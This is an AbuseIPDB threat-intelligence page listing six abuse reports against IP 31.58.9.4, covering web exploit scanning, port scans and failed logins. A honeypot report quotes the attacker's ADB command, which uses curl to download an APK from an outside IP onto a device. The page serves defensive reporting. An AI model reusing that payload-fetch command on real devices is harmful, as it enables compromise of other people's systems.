JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 31.58.9.4

31.58.9.4 was found in our database!

This IP was reported 6 times. Confidence of Abuse is 18%: ?

18%

ISP	GOLD IP L.L.C-FZ
Usage Type	Data Center/Web Hosting/Transit
ASN	AS28753
Domain Name	goldipv4.com
Country	🇩🇪 Germany
City	Frankfurt am Main, Hesse

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 31.58.9.4

Whois 31.58.9.4

IP Abuse Reports for 31.58.9.4:

This IP address has been reported a total of 6 times from 6 distinct sources. 31.58.9.4 was first reported on April 22nd 2026, and the most recent report was 2 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 2 weeks ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇳🇱 Alt255	2026-10-02 12:08:20 (2 weeks ago)	[cb-06al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Exam ... show more [cb-06al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Example: 31.58.9.4 - - [02/Oct/2026:14:08:16 +0200] "GET /.env HTTP/2.0" 404 1338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.105 Safari/537.36 Edg/123.0.2420.81" ... show less	Bad Web Bot Web App Attack
🇫🇮 Birdo	2026-09-27 00:52:55 (3 weeks ago)	[Honeypot Report] Unauthorised shell access and command execution via ADB A remote host obtained sh ... show more [Honeypot Report] Unauthorised shell access and command execution via ADB A remote host obtained shell access and executed commands. Observed: 2026-09-27 00:52 UTC \| 1 session \| 5 events \| ADB (port 5555) Attack chain: 1. Shell access obtained; 2 distinct commands executed: (curl -s http://217.60.103.135/update.apk -o /data/local/tmp ; grep -q ':8A0E' /proc/net/tcp /proc/net/tcp6 2>/dev/null \|\| Technique: CWE-78 OS command injection Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/09/31.58.9.4.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking
🇳🇱 EGP Abuse Dept	2026-09-26 04:06:21 (3 weeks ago)	Port connection indicating compromised host	Port Scan Hacking Exploited Host
🇮🇩 sockominfo	2026-09-02 02:00:09 (1 month ago)	Email: Login failures from Bad Reputation IP: 31.58.9.4. Threat Score: 5.7/10 (MEDIUM). Reported by ... show more Email: Login failures from Bad Reputation IP: 31.58.9.4. Threat Score: 5.7/10 (MEDIUM). Reported by TangerangKota-CSIRT show less	Hacking Web App Attack
🇮🇩 David Koswari	2026-06-08 05:20:00 (4 months ago)	REQ_BLOCKED_SECURITY	DDoS Attack FTP Brute-Force Ping of Death Port Scan Hacking SQL Injection Spoofing Brute-Force Bad Web Bot Exploited Host Web App Attack SSH IoT Targeted
🇵🇹 Subnet Shadow Specter	2026-04-22 09:53:41 (6 months ago)	[CRITICAL][Security Alert] Targeted exploit scanning against Textbook Vulnerabilities. Bot hunting f ... show more [CRITICAL][Security Alert] Targeted exploit scanning against Textbook Vulnerabilities. Bot hunting for PHP backdoors. [Method]: GET. [Request]: => /about. Access revoked. [User-Agent]: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36. [OS]: Unknown. [IP Address]: 31.58.9.4. [Date]: 2026-04-22 09:52:12 UTC. show less	Bad Web Bot Hacking Web App Attack

Showing 1 to 6 of 6 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 195.184.76.15

🇻🇳 180.93.252.171

🇺🇸 166.147.159.119

🇺🇸 136.70.70.145

🇨🇳 106.75.152.199

🇺🇸 65.49.1.52

🇳🇱 45.156.87.184

🇧🇪 34.76.85.151

🇰🇷 222.113.207.183

🇳🇱 176.65.148.167

🇵🇰 165.101.118.108

🇺🇸 104.234.19.152

🇺🇸 73.93.207.215

🇺🇸 65.49.1.182

🇧🇷 45.5.252.250

🇭🇰 40.83.93.179

🇸🇪 20.240.208.209

🇺🇸 18.117.175.130

🇩🇪 213.209.159.208

🇸🇦 176.18.21.2